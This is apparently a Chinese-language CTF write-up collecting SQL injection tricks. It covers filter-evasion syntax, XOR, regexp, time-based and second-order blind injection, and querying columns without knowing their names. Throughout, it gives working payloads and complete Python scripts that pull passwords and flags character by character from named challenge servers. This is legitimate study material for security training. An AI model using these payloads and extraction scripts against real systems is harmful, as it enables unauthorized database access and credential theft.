SQL注入小tricks
- or的两边可以没空格,可以是’)(
%09
(制表符),%0a
(换行符)有时候可绕过空格过滤union select
被过滤,可以用union%0bselect
regexp
与rlike
相同select * from users where name='John'
与select * from users where name in('John')
相同like
可以替换=
limit offset
可以替换limit ?,?
,limit m offset n
equals to 从第n+1
行开始取m行<>
equals to!=
- join注入,payload:
1' union select * from (select 1) a join (select 2) b %23
if(condition,do1,do2)
equals toselect case when condition then do1 else do2 end
...union select+1,2,3,4
union select@a:=1,2,3,4
between..and..
代替比较符,如果截取函数被过滤,可以直接用between..and..
逐位比较得到结果,如果引号被过滤,就用16进制。https://www.anquanke.com/post/id/158674binary
表示区分大小写information_schema.??
被过滤?tryinformation_schema/**/.??
orinformation_schema./**/??
select distinct(Db) from mysql.db;select distinct(database_name) from mysql.innodb_index_stats;//mysql>5.6select distinct(database_name) from mysql.innodb_table_stats;//mysql>5.6
- 实在什么都不知道的情况下,可以猜。
只知道表名不知道列名的情况
之前做安恒十月月赛就遇到了这种情况,这是个盲注题,题目告诉了有个flag
表,但是不知道列名。接下来我们看看怎么处理这种情况。
如果直接select*
,列名还是原来的列名,无法select
这时候可以用这种姿势:可以看到,这时候列名已经变成了1,2,3
,再加上limit
语句,就可以实现很精确地查询某一条信息。
SQL盲注的多种姿势
对于无回显的SQL盲注,基本的有时间盲注和布尔盲注两大方面,但其实这两样又可以有很多种姿势
XOR盲注
XOR也就是异或,异或符号在MySQL中是^
,它可以起到一个逻辑判断的作用,我们知道0^1=1,0^0=0
,因此可以通过不同的布尔值形成盲注。
给一道题目,http://123.206.31.85:49167/ 可以看出来,我们应该是要注出admin用户的密码,fuzz一下再结合手工fuzz,发现or, ,%09,%0a,/**/
也被过滤了,过滤了and和or,没有过滤^,那就可以尝试一下XOR注入。information_schema
也被过滤了,那很可能要猜解的字段就在当前表,直接猜测是password
。可以用这种payload来注出database():admin'^(ascii(mid((database())from(1)))>66)%23
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27import requests
url="http://123.206.31.85:49167/index.php"
proxies={"http":"http://127.0.0.1:8080"}
pwd=''
order=1
headers={"Host": "123.206.31.85:49167",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://123.206.31.85:49167/index.php",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "66",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"}
while True:
for num in xrange(32,127):
r=requests.post(url=url,
data='''username=admin'^(ascii(mid((password)from(%s)))>%s)'''%(order,num)+'''%'''+'''23&password=asda''',
proxies=proxies,headers=headers)
if 'password error!' in r.content:
pwd+=chr(num)
order+=1
print pwd
break
注出password为一串md5,拿去解密然后登录即可getflag。解法2:结合regexp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27#encoding:utf-8
import requests
url='http://123.206.31.85:49167/index.php'
proxies={'http':'http://127.0.0.1:8080'}
headers={'Host': '123.206.31.85:49167',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://123.206.31.85:49167/index.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '65',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}
payload=''
while True:
for i in range(48,58)+range(97,123):
r=requests.post(url=url,proxies=proxies,headers=headers,timeout=5,
data='''username=admin'^((password)regexp('%s$'))#&password='''%(chr(i)+payload))
if 'does not exist!' in r.content:
payload=chr(i)+payload
print payload
break
使用场景:过滤了and、or、逗号、空格
regexp/rlike盲注
regexp
是MySQL中一个用以正则判断的函数,用法如select (select...) regexp('^...$')
such as:会返回一个值表示是否匹配给定的正则表达式,^$
分别表示字符串的开始符和结束符,在注入的时候,如果没有过滤^
,我们可以配合mid((select...)from(%s))
来逐个字符猜解,如果过滤了^
,但没有过滤$
,就要用mid((select...)from(%s)for(1))
的格式,这时候不能省略for从一道题目来练习,http://ctf5.shiyanbar.com/web/earnest/index.php 首先可以fuzz一下,发现过滤了不少东西再来看一下功能,输入1,提示’you are in’输入0提示’you are not in’,但是输入1'--
和0'or'1
都是返回’you are not in’,说明后端可能对某些关键词进行了处理,这里用大小写可以绕过,比如0'Or'1
会返回’you are in’,再测试了一下,发现双写(oorr)也可以绕过。对于注释符--
,猜测后台把它替换为空,但既无法双写绕过也无法大小写绕过,所以这题无法使用注释符,只能用引号闭合。题目禁了substr
,可以用mid
代替,禁了,
,可以用mid
的from()for()
结构来代替,禁用了^
,无法用XOR注入,这里可以用regexp注入
,题目还禁用了空格,可以用制表符绕过。综上,我们可以构造这样的payload:0'Or(select(ascii((mid((select database())from(%s)fOr(1))regexp('%s$')))))Or'0
,然后逐步注入进去,如果有空格的地方就用%09
代替。
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30import requests
url='http://ctf5.shiyanbar.com/web/earnest/index.php'
proxies={"http":"http://127.0.0.1:8080"}
headers={"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://ctf5.shiyanbar.com/web/earnest/index.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '149',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}
order=1
result=''
while True:
for i in range(32,127):
payload='''zxc'Or(select(ascii(mid((select fL$4G from fiag)from(%s)foorr(1)))regexp('%s$')))Or'0'''%(order,i)
payload=payload.replace(' ',r'''%09''')
print payload
r=requests.post(url=url,headers=headers,proxies=proxies,
data='''id='''+payload)
if 'You are in' in r.content:
result+=chr(i)
order+=1
print result
break
# (select(ascii((mid((select database())from(%s)foorr(1))regexp('%s$')))))
使用场景:过滤了=、in、like
order by 盲注
基本原理:order by
是选取一列作为排序的标准,默认是升序,基本原理如下图通过逐位遍历union select
的某个参数,根据页面回显不同即可得到正确的结果。
insert into 注入
平时见得最多的注入都是基于select
,如果要注入的是select
语句,又该怎么处理呢?直接看一道题目,来自bugkuCTF,给了源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
以,
为分格符,换言之就是过滤了,
,然后insert
进表里,这题很明显没有回显,要盲注,过滤了逗号,对于mid,可以用mid((select..)from..for..)
,对于if,可以用select case when .. then 1 else 2 end
。接下来的问题就是要怎么把语句放进去,直接放是不行的由于引号的存在,会把语句当成字符串。这里要先用闭合引号,然后用+号连接语句,最后再把右括号补上。构造payload如下:X-Forwarded-For:'+(select case when 1 then sleep(3) else 0 end)+')
这样出来的SQL语句是这样的可以成功sleep。exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29#encoding:utf-8
import requests,time
url='http://120.24.86.145:8002/web15/'
proxies={"http":"http://127.0.0.1:8080"}
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}
order=1
result=''
while True:
for i in range(97,123)+range(48,58):
t1=time.time()
# headers['X-Forwarded-For']=''''+(select case when ascii(mid((select group_concat(schema_name) from information_schema.schemata)from(%s)for(1)))=%s then sleep(1.5) else 0 end))#'''%(order,i)
# headers['X-Forwarded-For']=''''+(select case when ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='web15')from(%s)for(1)))=%s then sleep(1.5) else 0 end))#'''%(order,i)
# headers['X-Forwarded-For']=''''+(select case when ascii(mid((select group_concat(column_name) from information_schema.columns where table_name="flag")from(%s)for(1)))=%s then sleep(1.5) else 0 end))#'''%(order,i)
headers['X-Forwarded-For']=''''+(select case when ascii(mid((select flag from `flag`)from(%s)for(1)))=%s then sleep(1.5) else 0 end))#'''%(order,i)
r=requests.get(url=url,proxies=proxies,headers=headers)
t2=time.time()
if t2-t1>=1.5:
result+=chr(i)
print result
order+=1
break
二次注入
打了下2018 高校网络信息安全管理运维挑战赛,觉得这道是我做出来的里面唯一有意思的了。题目有注册、登录、登出功能,注册个账号然后登录之后有提示flag在数据库中,而且是flag表flag列。然后有个final exam功能做对题会有分后面发现,如果注册的用户名使得mysql报错的话,做对题也是零分,于是要想办法把判断语句和导致mysql报错联系到一起,这里用到的payload是comrade'or (ascii(mid((select flag from flag),1,1))=?)*999*pow(999,102)#
原理就是利用double的溢出另外还可以这样exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37#encoding:utf-8
import requests
__author__='C0mRaDe'
register_url='http://210.32.4.20/register.php'
login_url='http://210.32.4.20/login.php'
answer_url='http://210.32.4.20/answer.php'
logout_url='http://210.32.4.20/logout.php'
proxies={'http':'http://127.0.0.1:8080'}
headers={'Host': '210.32.4.20',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '24',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}
result=''
order=1
ses=requests.Session()
while True:
for i in range(32,127):
payload='''C0mRaDeIISIISIIS'or (ascii(mid((select flag from flag),%s,1))=%s)*999*pow(999,102)#"'''% (order, i)
try:
ses.post(url=register_url,data={'username':payload,'password':'1'},proxies=proxies,timeout=5,headers=headers)
ses.post(url=login_url,data={'username':payload,'password':'1'},timeout=5,headers=headers,proxies=proxies)
r=ses.post(url=answer_url,data=r'''10.c=on''',timeout=5,proxies=proxies,headers=headers)
ses.cookies.clear()
if 'Your grades is 0' in r.content:
result+=chr(i)
print result
order+=1
break
except Exception as e:
print e
不知道列名的注入
来看一个示例可以看到,这么一操作,查询到的表的列名就变成了1到6的数字,然后可以进行进一步查询,比如查询第4列而对于不能使用逗号的情况,可以这么来1
select d from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t join (select 4 `d`)z join (select 5 `e`)x join (select 6 `f`)ss where 0 union select * from students)x;
Referer
https://www.anquanke.com/post/id/160584#h2-7
http://wonderkun.cc/index.html/?p=442
https://xz.aliyun.com/t/4105